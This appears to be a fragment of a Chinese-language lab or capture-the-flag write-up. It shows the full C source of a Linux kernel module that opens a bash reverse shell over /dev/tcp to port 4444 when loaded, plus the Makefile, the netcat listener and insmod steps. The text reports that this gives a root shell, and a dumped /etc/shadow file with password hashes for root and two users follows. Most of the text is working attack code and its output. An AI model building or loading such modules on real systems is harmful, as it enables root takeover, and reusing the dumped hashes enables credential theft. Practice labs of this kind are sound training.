reverse-shell.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <linux/kmod.h> #include <linux/module.h> MODULE_LICENSE("GPL" ); MODULE_AUTHOR("AttackDefense" ); MODULE_DESCRIPTION("LKM reverse shell module" ); MODULE_VERSION("1.0" ); char * argv[] = {"/bin/bash" ,"-c" ,"bash -i >& /dev/tcp/xxxxxx/4444 0>&1" , NULL };static char * envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" , NULL };static int __init reverse_shell_init (void ) { return call_usermodehelper(argv[0 ], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit (void ) { printk(KERN_INFO "Exiting\n" ); } module_init(reverse_shell_init); module_exit(reverse_shell_exit);
以及一个
Makefile 1 2 3 4 5 6 7 obj-m +=reverse-shell.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
nc -lvnp 4444
insmod reverse-shell.ko
就拿到了root 的 shell
hash 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 root:$y$j9T$Gctu2C9XwCFVr1qINWJjA /$u8IdKz0x2uCYAzOIx0qxNvBQEjY0uOaRwgA1sRC8Aj8 :19592:0:99999:7::: daemon:*:19592:0:99999:7::: bin:*:19592:0:99999:7::: sys:*:19592:0:99999:7::: sync :*:19592:0:99999:7:::games:*:19592:0:99999:7::: man:*:19592:0:99999:7::: lp:*:19592:0:99999:7::: mail:*:19592:0:99999:7::: news:*:19592:0:99999:7::: uucp:*:19592:0:99999:7::: proxy:*:19592:0:99999:7::: www-data:*:19592:0:99999:7::: backup:*:19592:0:99999:7::: list:*:19592:0:99999:7::: irc:*:19592:0:99999:7::: _apt:*:19592:0:99999:7::: nobody:*:19592:0:99999:7::: systemd-network:!*:19592:::::: messagebus:!:19592:::::: avahi-autoipd:!:19592:::::: sshd:!:19592:::::: alex:$y$j9T$vRmhfv9eghNK4I7HfdkjW0$5fFIjvFlbw5ki /5cvoSkG/YizBXms47kw9tubbF/l42:19759:0:99999:7::: morty:$y$j9T$0lTi82bFeyrX9oyH /XMnE.$V8E6g5oxm5 /LGomE.6NBAIwvieFOLqSgm3b7LnZlPT5:19781:0:99999:7::: postfix:!:19629:::::: _laurel:!:19839::::::